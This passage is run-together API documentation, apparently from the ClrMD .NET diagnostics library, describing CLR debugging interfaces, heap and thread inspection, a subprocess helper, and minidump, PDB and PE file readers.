it synchronizes. In Preemptive mode the runtime is free to suspend the thread at any time for a GC to occur. Wrapper for the ICLRDebugging shim interface. This interface exposes the native pipeline architecture startup APIs Constructor Creates the underlying interface from mscoree!CLRCreateInstance Detects if a native module represents a CLR and if so provides the debugging interface and versioning information The native base address of a module which might be a CLR The process abstraction which can be used for inspection A callback interface for locating version specific debug libraries such as mscordbi.dll and mscordacwks.dll The highest version of the CLR/debugging libraries which the caller can support The version of the CLR detected or null if no CLR was detected Flags which have additional information about the CLR. See ClrDebuggingProcessFlags for more details The CLR's debugging interface Version of the above that doesn't throw exceptions on failure Determines if the module is no longer in use A module handle that was provided via the ILibraryProvider True if the module can be unloaded, False otherwise fIsOutOfBand == 0 is the normalcase. If fIsOutOfBand == 1 when continuing after an event that did not bring the runtime to a 'safe' spot. Constants to return from GetPlatform Creates a new area in memory in which you can create new metadata. [in] The CLSID of the version of metadata structures to be created. This value must be CLSID_CorMetaDataRuntime. [in] Flags that specify options. This value must be zero. [in] The IID of the desired metadata interface to be returned; the caller will use the interface to create the new metadata. The value of riid must specify one of the "emit" interfaces. Valid values are IID_IMetaDataEmit, IID_IMetaDataAssemblyEmit, or IID_IMetaDataEmit2. [out] The pointer to the returned interface. STDMETHOD(DefineScope)( // Return code. REFCLSID rclsid, // [in] What version to create. DWORD dwCreateFlags, // [in] Flags on the create. REFIID riid, // [in] The interface desired. IUnknown **ppIUnk) PURE; // [out] Return interface on success. Opens an existing, on-disk file and maps its metadata into memory. [in] The name of the file to be opened. The file must contain common language runtime (CLR) metadata. [in] A value of the CorOpenFlags enumeration to specify the mode (read, write, and so on) for opening. [in] The IID of the desired metadata interface to be returned; the caller will use the interface to import (read) or emit (write) metadata. The value of riid must specify one of the "import" or "emit" interfaces. Valid values are IID_IMetaDataEmit, IID_IMetaDataImport, IID_IMetaDataAssemblyEmit, IID_IMetaDataAssemblyImport, IID_IMetaDataEmit2, or IID_IMetaDataImport2. [out] The pointer to the returned interface. STDMETHOD(OpenScope)( // Return code. LPCWSTR szScope, // [in] The scope to open. DWORD dwOpenFlags, // [in] Open mode flags. REFIID riid, // [in] The interface desired. IUnknown **ppIUnk) PURE; // [out] Return interface on success. Opens an area of memory that contains existing metadata. That is, this method opens a specified area of memory in which the existing data is treated as metadata. [in] A pointer that specifies the starting address of the memory area. [in] The size of the memory area, in bytes. [in] A value of the CorOpenFlags enumeration to specify the mode (read, write, and so on) for opening. [in] The IID of the desired metadata interface to be returned; the caller will use the interface to import (read) or emit (write) metadata. The value of riid must specify one of the "import" or "emit" interfaces. Valid values are IID_IMetaDataEmit, IID_IMetaDataImport, IID_IMetaDataAssemblyEmit, IID_IMetaDataAssemblyImport, IID_IMetaDataEmit2, or IID_IMetaDataImport2. [out] The pointer to the returned interface. STDMETHOD(OpenScopeOnMemory)( // Return code. LPCVOID pData, // [in] Location of scope data. ULONG cbData, // [in] Size of the data pointed to by pData. DWORD dwOpenFlags, // [in] Open mode flags. REFIID riid, // [in] The interface desired. IUnknown **ppIUnk) PURE; // [out] Return interface on success. Represents a version of the CLR runtime Information flags about the state of a CLR when it is being attached to in the native pipeline debugging model This interface exposes the native pipeline architecture startup APIs Detects if a native module represents a CLR and if so provides the debugging interface and versioning information The native base address of a module which might be a CLR The process abstraction which can be used for inspection A callback interface for locating version specific debug libraries such as mscordbi.dll and mscordacwks.dll The highest version of the CLR/debugging libraries which the caller can support The CLR's debugging interface or null if no debugger was detected The version of the CLR detected or null if no CLR was detected Flags which have additional information about the CLR. The Guid for the interface requested. See ClrDebuggingProcessFlags for more details HResults.S_OK if an appropriate version CLR was detected, otherwise an appropriate error hresult Determines if the module is no longer in use A module handle that was provided via the ILibraryProvider HResults.S_OK if the module can be unloaded, HResults.S_FALSE if it is in use or an appropriate error hresult otherwise Provides version specific debugging libraries such as mscordbi.dll and mscorwks.dll during startup in the native pipeline debugging architecture Provides a version specific debugging library The name of the library being requested The timestamp of the library being requested as specified in the PE header The SizeOfImage of the library being requested as specified in the PE header An OS handle to the requested library HResults.S_OK if the library was located, otherwise any appropriate error hresult While ClrMD provides a managed PDB reader and PDB locator, it would be inefficient to load our own PDB reader into memory if the user already has one available. For ClrMD operations which require reading data from PDBs, you will need to provide this implementation. (This is currently only required for debugging .Net Native applications). Loads a PDB by its given guid/age and provides an ISymbolResolver for that PDB. The name of the pdb. This may be a full path and not just a simple name. The guid of the pdb to locate. The age of the pdb to locate. A symbol resolver for the given pdb. Null if none was found. ISymbolResolver represents a single symbol module (PDB) loaded into the process. Retrieves the given symbol's name based on its RVA. A relative virtual address in the module. The symbol corresponding to RVA. Thrown when we fail to read memory from the target process. The address of memory that could not be read. Constructor The address of memory that could not be read. Exception thrown by Microsoft.Diagnostics.Runtime unless there is a more appropriate exception subclass. Specific HRESULTS for errors. Unknown error occured. The dll of the specified runtime (mscorwks.dll or clr.dll) is loaded into the process, but has not actually been initialized and thus cannot be debugged. Something unexpected went wrong with the debugger we used to attach to the process or load the crash dump. Something unexpected went wrong when requesting data from the target process. Hit an unexpected (non-recoverable) dac error. The caller attempted to re-use an object after calling ClrRuntime.Flush. See the documentation for ClrRuntime.Flush for more details. An error occurred while processing the given crash dump. There is an issue with the configuration of this application. The HRESULT of this exception. Represents a single runtime in a target process or crash dump. This serves as the primary entry point for getting diagnostic information. The ClrInfo of the current runtime. Returns the DataTarget associated with this runtime. Whether or not the process is running in server GC mode or not. Enumerates the OS thread ID of GC threads in the runtime. The number of logical GC heaps in the process. This is always 1 for a workstation GC, and usually it's the number of logical processors in a server GC application. Returns the pointer size of the target process. Enumerates the list of appdomains in the process. Note the System appdomain and Shared AppDomain are omitted. Give access to the System AppDomain Give access to the Shared AppDomain Enumerates all managed threads in the process. Only threads which have previously run managed code will be enumerated. Enumerates all objects currently on the finalizer queue. (Not finalizable objects, but objects which have been collected and will be imminently finalized.) Returns a ClrMethod by its internal runtime handle (on desktop CLR this is a MethodDesc). The method handle (MethodDesc) to look up. The ClrMethod for the given method handle, or null if no method was found. Returns the CCW data associated with the given address. This is used when looking at stowed exceptions in CLR. The address of the CCW obtained from stowed exception data. The CcwData describing the given CCW, or null. Read data out of the target process. The address to start the read from. The buffer to write memory to. How many bytes to read (must be less than/equal to buffer.Length) The number of bytes actually read out of the process. This will be less than bytes requested if the request falls off the end of an allocation. False if the memory is not readable (free or no read permission), true if *some* memory was read. Reads a pointer value out of the target process. This function reads only the target's pointer size, so if this is used on an x86 target, only 4 bytes is read and written to val. The address to read from. The value at that address. True if the read was successful, false otherwise. Enumerates a list of GC handles currently in the process. Note that this list may be incomplete depending on the state of the process when we attempt to walk the handle table. The list of GC handles in the process, NULL on catastrophic error. Gets the GC heap of the process. Returns data on the CLR thread pool for this runtime. Enumerates regions of memory which CLR has allocated with a description of what data resides at that location. Note that this does not return every chunk of address space that CLR allocates. An enumeration of memory regions in the process. Attempts to get a ClrMethod for the given instruction pointer. This will return NULL if the given instruction pointer is not within any managed method. A list of all modules loaded into the process. Flushes the dac cache. This function MUST be called any time you expect to call the same function but expect different results. For example, after walking the heap, you need to call Flush before attempting to walk the heap again. After calling this function, you must discard ALL ClrMD objects you have cached other than DataTarget and ClrRuntime and re-request the objects and data you need. (E.G. if you want to use the ClrHeap object after calling flush, you must call ClrRuntime.GetHeap again after Flush to get a new instance.) Delegate called when the RuntimeFlushed event is triggered. Which runtime was flushed. Called whenever the runtime is being flushed. All references to ClrMD objects need to be released and not used for the given runtime after this call. Call when flushing the runtime. Whether or not the runtime has component method tables for arrays. This is an extra field in array objects on the heap, which was removed in v4.6 of desktop clr. Provides information about CLR's threadpool. The total number of threadpool worker threads in the process. The number of running threadpool threads in the process. The number of idle threadpool threads in the process. The minimum number of threadpool threads allowable. The maximum number of threadpool threads allowable. Returns the minimum number of completion ports (if any). Returns the maximum number of completion ports. Returns the CPU utilization of the threadpool (as a percentage out of 100). The number of free completion port threads. The maximum number of free completion port threads. Enumerates the work items on the threadpool (native side). Enumerates work items on the thread pool (managed side). A managed threadpool object. The object address of this entry. The type of Object. The type of work item this is. Unknown. Callback for an async timer. Async callback. From ThreadPool.QueueUserWorkItem. Timer delete callback. Represents a work item on CLR's thread pool (native side). The type of work item this is. Returns the callback's address. Returns the pointer to the user's data. Types of Clr handles. Weak, short lived handle. Weak, long lived handle. Strong handle. Strong handle, prevents relocation of target object. RefCounted handle (strong when the reference count is greater than 0). A weak handle which may keep its "secondary" object alive if the "target" object is also alive. A strong, pinned handle (keeps the target object from being relocated), used for async IO operations. Strong handle used internally for book keeping. Represents a Clr handle in the target process. The address of the handle itself. That is, *Address == Object. The Object the handle roots. The the type of the Object. Whether the handle is strong (roots the object) or not. Whether or not the handle pins the object (doesn't allow the GC to relocate it) or not. Gets the type of handle. If this handle is a RefCount handle, this returns the reference count. RefCount handles with a RefCount > 0 are strong. NOTE: v2 CLR CANNOT determine the RefCount. We always set the RefCount to 1 in a v2 query since a strong RefCount handle is the common case. Set only if the handle type is a DependentHandle. Dependent handles add an extra edge to the object graph. Meaning, this.Object now roots the dependent target, but only if this.Object is alive itself. NOTE: CLRs prior to v4.5 cannot obtain the dependent target. This field will be 0 for any CLR prior to v4.5. The type of the dependent target, if non 0. The AppDomain the handle resides in. ToString override. Types of memory regions in a Clr process. Data on the loader heap. Data on the loader heap. Data on the stub heap. Clr implementation detail (this is here to allow you to distinguish from other heap types). Clr implementation detail (this is here to allow you to distinguish from other heap types). Clr implementation detail (this is here to allow you to distinguish from other heap types). Clr implementation detail (this is here to allow you to distinguish from other heap types). Clr implementation detail (this is here to allow you to distinguish from other heap types). Heap for JIT code data. Heap for JIT loader data. Heap for module jump thunks. Heap for module lookup tables. A segment on the GC heap (committed memory). A segment on the GC heap (reserved, but not committed, memory). A portion of Clr's handle table. Represents a region of memory in the process which Clr allocated and controls. The start address of the memory region. The size of the memory region in bytes. The type of heap/memory that the region contains. The AppDomain pointer that corresponds to this heap. You can obtain the name of the AppDomain index or name by calling the appropriate function on RuntimeBase. Note: HasAppDomainData must be true before getting this property. The Module pointer that corresponds to this heap. You can obtain the filename of the module with this property. Note: HasModuleData must be true or this property will be null. Returns the heap number associated with this data. Returns -1 if no GC heap is associated with this memory region. Returns the gc segment type associated with this data. Only callable if HasGCHeapData is true. Returns a string describing the region of memory (for example "JIT Code Heap" or "GC Segment"). Whether or not to include additional data such as the module, AppDomain, or GC Heap associaed with it. Equivalent to GetDisplayString(false). CommandOptions is a helper class for the Command class. It stores options that affect the behavior of the execution of ETWCommands and is passes as a parapeter to the constuctor of a Command. It is useful for these options be be on a separate class (rather than on Command itself), because it is reasonably common to want to have a set of options passed to several commands, which is not easily possible otherwise. Can be assigned to the Timeout Property to indicate infinite timeout. CommanOptions holds a set of options that can be passed to the constructor to the Command Class as well as Command.Run* Return a copy an existing set of command options The copy of the command options Normally commands will throw if the subprocess returns a non-zero exit code. NoThrow suppresses this. Updates the NoThrow propery and returns the updated commandOptions. Updated command options ShortHand for UseShellExecute and NoWait Updates the Start propery and returns the updated commandOptions. Normally commands are launched with CreateProcess. However it is also possible use the Shell Start API. This causes Command to look up the executable differently Updates the Start propery and returns the updated commandOptions. Indicates that you want to hide any new window created. Updates the NoWindow propery and returns the updated commandOptions. Indicates that you want don't want to wait for the command to complete. Updates the NoWait propery and returns the updated commandOptions. Indicates that the command must run at elevated Windows privledges (causes a new command window) Updates the Elevate propery and returns the updated commandOptions. By default commands have a 10 minute timeout (600,000 msec), If this is inappropriate, the Timeout property can change this. Like all timouts in .NET, it is in units of milliseconds, and you can use CommandOptions.Infinite to indicate no timeout. Updates the Timeout propery and returns the updated commandOptions. CommandOptions.Infinite can be used for infinite Indicates the string will be sent to Console.In for the subprocess. Updates the Input propery and returns the updated commandOptions. Indicates the current directory the subProcess will have. Updates the CurrentDirectory propery and returns the updated commandOptions. Indicates the standard output and error of the command should be redirected to a archiveFile rather than being stored in Memory in the 'Output' property of the command. Updates the OutputFile propery and returns the updated commandOptions. Indicates the standard output and error of the command should be redirected to a a TextWriter rather than being stored in Memory in the 'Output' property of the command. Updates the OutputStream propery and returns the updated commandOptions. Gets the Environment variables that will be set in the subprocess that differ from current process's environment variables. Any time a string of the form %VAR% is found in a value of a environment variable it is replaced with the value of the environment variable at the time the command is launched. This is useful for example to update the PATH environment variable eg. "%PATH%;someNewPath" Adds the environment variable with the give value to the set of environmetn variables to be passed to the sub-process and returns the updated commandOptions. Any time a string of the form %VAR% is found in a value of a environment variable it is replaced with the value of the environment variable at the time the command is launched. This is useful for example to update the PATH environment variable eg. "%PATH%;someNewPath" Command represents a running of a command lineNumber process. It is basically a wrapper over System.Diagnostics.Process, which hides the complexitity of System.Diagnostics.Process, and knows how to capture output and otherwise makes calling commands very easy. The time the process started. returns true if the process has exited. The time the processed Exited. (HasExited should be true before calling) The duration of the command (HasExited should be true before calling) The operating system ID for the subprocess. The process exit code for the subprocess. (HasExited should be true before calling) Often this does not need to be checked because Command.Run will throw an exception if it is not zero. However it is useful if the CommandOptions.NoThrow property was set. The standard output and standard error output from the command. This is accumulated in real time so it can vary if the process is still running. This property is NOT available if the CommandOptions.OutputFile or CommandOptions.OutputStream is specified since the output is being redirected there. If a large amount of output is expected (> 1Meg), the Run.AddOutputStream(Stream) is recommended for retrieving it since the large string is never materialized at one time. Returns that CommandOptions structure that holds all the options that affect the running of the command (like Timeout, Input ...) Run 'commandLine', sending the output to the console, and wait for the command to complete. This simulates what batch filedo when executing their commands. It is a bit more verbose by default, however The command lineNumber to run as a subprocess Additional qualifiers that control how the process is run A Command structure that can be queried to determine ExitCode, Output, etc. Run 'commandLine' as a subprocess and waits for the command to complete. Output is captured and placed in the 'Output' property of the returned Command structure. The command lineNumber to run as a subprocess Additional qualifiers that control how the process is run A Command structure that can be queried to determine ExitCode, Output, etc. Launch a new command and returns the Command object that can be used to monitor the restult. It does not wait for the command to complete, however you can call 'Wait' to do that, or use the 'Run' or 'RunToConsole' methods. */ The command lineNumber to run as a subprocess Additional qualifiers that control how the process is run A Command structure that can be queried to determine ExitCode, Output, etc. Create a subprocess to run 'commandLine' with no special options. The command lineNumber to run as a subprocess Wait for a started process to complete (HasExited will be true on return) Wait returns that 'this' pointer. Throw a error if the command exited with a non-zero exit code printing useful diagnostic information along with the thrown message. This is useful when NoThrow is specified, and after post-processing you determine that the command really did fail, and an normal Command.Run failure was the appropriate action. An additional message to print in the throw (can be null) Get the underlying process object. Generally not used. Kill the process (and any child processses (recursively) associated with the running command). Note that it may not be able to kill everything it should if the child-parent' chain is broken by a child that creates a subprocess and then dies itself. This is reasonably uncommon, however. Put double quotes around 'str' if necessary (handles quotes quotes. Given a string 'commandExe' look for it on the path the way cmd.exe would. Returns null if it was not found. Immutable pointer into the dump file. Has associated size for runtime checking. Returns a DumpPointer to the same memory, but associated with a smaller size. smaller size to shrink the pointer to. new DumpPointer Copy numberBytesToCopy from the DumpPointer into &destinationBuffer[indexDestination]. Copy raw bytes to buffer buffer to copy to. number of bytes to copy. Caller ensures the destinationBuffer is large enough Marshal this into a managed structure, and do bounds checks. Type of managed structure to marshal as a managed copy of the structure Read contents of a minidump. If we have a 32-bit dump, then there's an addressing collision possible. OS debugging code sign extends 32 bit wide addresses into 64 bit wide addresses. The CLR does not sign extend, thus you cannot round-trip target addresses exposed by this class. Currently we read these addresses once and don't hand them back, so it's not an issue. Type of stream within the minidump. Remove the OS sign-extension from a target address. Describes a data stream within the minidump Size of the stream in bytes. Offset (in bytes) from the start of the minidump to the data stream. True iff the data is missing. Describes a data stream within the minidump Size of the stream in bytes. Offset (in bytes) from the start of the minidump to the data stream. Describes a range of memory in the target. Starting Target address of the memory range. Location in minidump containing the memory corresponding to StartOfMemoryRage Describes a range of memory in the target. This is used for full-memory minidumps where all of the raw memory is laid out sequentially at the end of the dump. There is no need for individual RVAs as the RVA is the base RVA plus the sum of the preceeding data blocks. Starting Target address of the memory range. Size of memory in bytes. The struct that holds an EXCEPTION_RECORD The struct that holds contents of a dump's MINIDUMP_STREAM_TYPE.ExceptionStream which is a MINIDUMP_EXCEPTION_STREAM. Describes system information about the system the dump was taken on. This is returned by the MINIDUMP_STREAM_TYPE.SystemInfoStream stream. Address that module is loaded within target. Size of image within memory copied from IMAGE_OPTIONAL_HEADER.SizeOfImage. Note that this is usually different than the file size. Checksum, copied from IMAGE_OPTIONAL_HEADER.CheckSum. May be 0 if not optional header is not available. TimeStamp in Unix 32-bit time_t format. Copied from IMAGE_FILE_HEADER.TimeDateStamp RVA within minidump of the string containing the full path of the module. Gets TimeDateStamp as a DateTime. This is based off a 32-bit value and will overflow in 2038. This is not the same as the timestamps on the file. Raw MINIDUMP_THREAD structure imported from DbgHelp.h Describes the memory location of the thread's raw stack. List of Threads in the minidump. Translates from an RVA to Dump Pointer. RVA within the dump DumpPointer representing RVA. Translates from an RVA to Dump Pointer. RVA within the dump DumpPointer representing RVA. Translates from an RVA to Dump Pointer. RVA within the dump DumpPointer representing RVA. Gets a MINIDUMP_STRING at the given RVA as an System.String. RVA of MINIDUMP_STRING System.String representing contents of MINIDUMP_STRING at the given RVA Gets a MINIDUMP_STRING at the given DumpPointer as an System.String. DumpPointer to a MINIDUMP_STRING System.String representing contents of MINIDUMP_STRING at the given location in the dump Read memory from the dump file and return results in newly allocated buffer target address in dump to read length bytes from number of bytes to read newly allocated byte array containing dump memory All memory requested must be readable or it throws. Read memory from the dump file and copy into the buffer target address in dump to read buffer.Length bytets from destination buffer to copy target memory to. count of bytes to read All memory requested must be readable or it throws. Read memory from target and copy it to the local buffer pointed to by destinationBuffer. Throw if any portion of the requested memory is unavailable. target address in dump file to copy destinationBufferSizeInBytes bytes from. pointer to copy the memory to. size of the destinationBuffer in bytes. Read memory from target and copy it to the local buffer pointed to by destinationBuffer. target address in dump file to copy destinationBufferSizeInBytes bytes from. pointer to copy the memory to. size of the destinationBuffer in bytes. Number of contiguous bytes successfuly copied into the destination buffer. ToString override. string description of the DumpReader. Constructor filename to open dump file Dispose method. Get a DumpPointer for the given stream. That can then be used to further decode the stream. type of stream to lookup DumpPointer refering into the stream. Get a DumpPointer for the given stream. That can then be used to further decode the stream. type of stream to lookup DumpPointer refering into the stream. True if stream was succesfully retrived Version numbers of OS that this dump was taken on. Operating system that the dump was taken on. Friendly helper to get full OS version string (including CSDVersion) that the dump was taken on. This is really just to compensate that public OperatingSystem's ctor doesn't let us add the service pack string, so we need a special helper for that. The processor architecture that this dump was taken on. Get the thread for the given thread Id. thread Id to lookup. a DumpThread object representing a thread in the dump whose thread id matches the requested id. Enumerate all the native threads in the dump an enumerate of DumpThread objects Check on whether there's an exception stream in the dump true iff there is a MINIDUMP_EXCEPTION_STREAM in the dump. Return the TID from the exception stream. The TID from the exception stream. Lookup the first module in the target with a matching. The name can either be a matching full name, or just shortname The first DumpModule that has a matching name. Return the module containing the target address, or null if no match. address in target Null if no match. Else a DumpModule such that the target address is in between the range specified by the DumpModule's .BaseAddress and .Size property This can be useful for symbol lookups or for using module images to supplement memory read requests for minidumps. Enumerate all the modules in the dump. Represents a native module in a dump file. This is a flyweight object. Constructor owning DumpReader unmanaged dump structure describing the module Usually, the full filename of the module. Since the dump may not be captured on the local machine, be careful of using this filename with the local file system. In some cases, this could be a short filename, or unavailable. Base address within the target of where this module is loaded. Size of this module in bytes as loaded in the target. UTC Time stamp of module. This is based off a 32-bit value and will overflow in 2038. This is different than any of the filestamps. Call ToLocalTime() to convert from UTC. Gets the raw 32 bit time stamp. Use the Timestamp property to get this as a System.DateTime. Represents a thread from a minidump file. This is a flyweight object. Constructor for DumpThread owning DumpReader object unmanaged structure in dump describing the thread The native OS Thread Id of this thread. Get a thread's context using a raw buffer and size Utility class to provide various random Native debugging operations. Determine if this is a valid DOS image. Marshal a structure from the given buffer. Effectively returns ((T*) &buffer[offset]). type of structure to marshal array of bytes representing binary buffer to marshal offset in buffer to marhsal from marshaled structure Gets the raw compilation timestamp of a file. This can be matched with the timestamp of a module in a dump file. NOTE: This is NOT the same as the file's creation or last-write time. 0 for common failures like file not found or invalid format. Throws on gross errors. Else returns the module's timestamp for comparison against the minidump module's stamp. This class represents a constant value in source code, such as: const int Foo = 3; The variable name of the constant. The metadata token of this constant. The value of this constant. Represents a single function in a module. Sequence points of this function. Metadata token of this function. The scopes of this function. Locates a PdbScope by its IL offset. The offset in the function to find the scope for. The scope if one was found, null if none match it. Represents a sequence point (multiple lines) in a source file. The IL offset of this line. The first line of this sequence point. The last line of this sequence point. The first column of the first line of this sequence point. The last column of the last line of this sequence point. ToString override. A collection of sequence points (usually for a single function). The source file these sequence points came from. A list of IL sequence points in this collection. Represents a scope within a function or class. A list of constants defined in this scope. A list of variable slots in this function. A list of sub-scopes within this scope. A list of namespaces used in this scope. The address of this scope. The IL offset of this scope. The length of this scope. The representation of a local variable slot. The slot number. The name of this variable slot. the flags associated with this slot. Simply returns Name. Name A source file in the program. The name of the source file. The DocType for this source. Pdb source language. Pdb source vendor Pdb algorithm id. Checksum for this pdb. The embeded source in this pdb. An object that can map offsets in an IL stream to source locations and block scopes. Gets the properties of a given pdb. Throws IOException on error. The pdb file to load. The signature of pdbFile. The age of pdbFile. Allocates an object that can map some kinds of ILocation objects to IPrimarySourceLocation objects. For example, a PDB reader that maps offsets in an IL stream to source locations. Constructs a PdbReader from a path on disk. The pdb on disk to load. A collection of all sources in this pdb. A collection of all functions in this pdb. The version of this PDB. The Guid signature of this pdb. Should be compared to the corresponding pdb signature in the matching PEFile. The age of this pdb. Should be compared to the corresponding pdb age in the matching PEFile. Closes all of the source files that have been opened to provide the contents source locations corresponding to IL offsets. Closes all of the source files that have been opened to provide the contents source locations corresponding to IL offsets. Retreives a PdbFunction by its metadata token. PEFile is a reader for the information in a Portable Exectable (PE) FILE. This is what EXEs and DLLs are. It can read both 32 and 64 bit PE files. Parses a PEFile from a given stream. If it is valid, a new PEFile object is constructed and returned. Otherwise, null is returned. Create a new PEFile header reader. The path to the file on disk. Constructor which allows you to specify a stream instead of file on disk. The stream to read. Whether the stream is currently in virtual memory (true) or if this reading from disk (false). The Header for the PE file. This contains the infor in a link /dump /headers Looks up the debug signature information in the EXE. Returns true and sets the parameters if it is found. If 'first' is true then the first entry is returned, otherwise (by default) the last entry is used (this is what debuggers do today). Thus NGEN images put the IL PDB last (which means debuggers pick up that one), but we can set it to 'first' if we want the NGEN PDB. Holds information about the pdb for the current PEFile Whether this object has been disposed. Gets the File Version Information that is stored as a resource in the PE file. (This is what the version tab a file's property page is populated with). For side by side dlls, the manifest that decribes the binding information is stored as the RT_MANIFEST resource, and it is an XML string. This routine returns this. Closes any file handles and cleans up resources. A PEHeader is a reader of the data at the begining of a PEFile. If the header bytes of a PEFile are read or mapped into memory, this class can parse it when given a pointer to it. It can read both 32 and 64 bit PE files. Parses the given buffer for the header of a PEFile. If it can be parsed correctly, a new PEHeader object is constructed from the buffer and returned. Otherwise, null is returned. The total s,ize of the header, including section array of the the PE header. Given a virtual address to data in a mapped PE file, return the relative virtual address (displacement from start of the image) Given a relative virtual address (displacement from start of the image) return the virtual address to data in a mapped PE file Given a relative virtual address (displacement from start of the image) return a offset in the file data for that data. Given a relative virtual address (displacement from start of the image) return a offset in the file data for that data, if the RVA is valid. If the RVA is invalid, the method will return false. Otherwise, the method will return true and store the offset in the result parameter. Returns true if this is PE file for a 64 bit architecture. Returns true if this file contains managed code (might also contain native code). Returns the 'Signture' of the PE HEader PE\0\0 = 0x4550, used for sanity checking. The machine this PE file is intended to run on PE files have a number of sections that represent regions of memory with the access permisions. This is the nubmer of such sections. The the PE file was created represented as the number of seconds since Jan 1 1970 The the PE file was created represented as a DateTime object PointerToSymbolTable (see IMAGE_FILE_HEADER in PE File spec) NumberOfSymbols (see IMAGE_FILE_HEADER PE File spec) SizeOfOptionalHeader (see IMAGE_FILE_HEADER PE File spec) Characteristics (see IMAGE_FILE_HEADER PE File spec) Magic (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MajorLinkerVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MinorLinkerVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfCode (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfInitializedData (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfUninitializedData (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) AddressOfEntryPoint (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) BaseOfCode (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) ImageBase (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SectionAlignment (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) FileAlignment (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MajorOperatingSystemVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MinorOperatingSystemVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MajorImageVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MinorImageVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MajorSubsystemVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MinorSubsystemVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) Win32VersionValue (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfImage (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfHeaders (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) CheckSum (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) Subsystem (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) DllCharacteristics (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfStackReserve (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfStackCommit (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfHeapReserve (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfHeapCommit (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) LoaderFlags (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) NumberOfRvaAndSizes (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) returns the data directory (virtual address an blob, of a data directory with index 'idx'. 14 are currently defined. Return the data directory for DLL Exports see PE file spec for more Return the data directory for DLL Imports see PE file spec for more Return the data directory for DLL Resources see PE file spec for more Return the data directory for DLL Exceptions see PE file spec for more Return the data directory for DLL securiy certificates (Authenticode) see PE file spec for more Return the data directory Image Base Relocations (RELOCS) see PE file spec for more Return the data directory for Debug information see PE file spec for more Return the data directory for DLL Exports see PE file spec for more Return the data directory for GlobalPointer (IA64) see PE file spec for more Return the data directory for THread local storage see PE file spec for more Return the data directory for Load Configuration see PE file spec for more Return the data directory for Bound Imports see PE file spec for more Return the data directory for the DLL Import Address Table (IAT) see PE file spec for more Return the data directory for Delayed Imports see PE file spec for more see PE file spec for more .NET Runtime infomration. The Machine types supporte by the portable executable (PE) File format Unknown machine type Intel X86 CPU Intel IA64 ARM 32 bit Arm 64 bit Represents a Portable Executable (PE) Data directory. This is just a well known optional 'Blob' of memory (has a starting point and size) The start of the data blob when the file is mapped into memory The length of the data blob. FileVersionInfo reprents the extended version formation that is optionally placed in the PE file resource area. The verison string Comments to supplement the file version A PEBuffer represents This class is a general purpose symbol locator and binary locator. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The module to locate. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a dac via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. Note that the dac should not validate if the properties of the file match the one it was indexed under. The dac to locate. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate the pdb for a given module. The module to locate the pdb for. A full path on disk (local) of where the pdb was copied to. Attempts to locate the pdb for a given module. The pdb to locate. A full path on disk (local) of where the pdb was copied to. Attempts to locate a pdb based on its name, guid, and revision number. The name the pdb is indexed under. The guid the pdb is indexed under. The age of the pdb. A full path on disk (local) of where the pdb was copied to. Copies the given file from the input stream into fullDestPath. The input stream to copy the file from. The source of this file. This is for 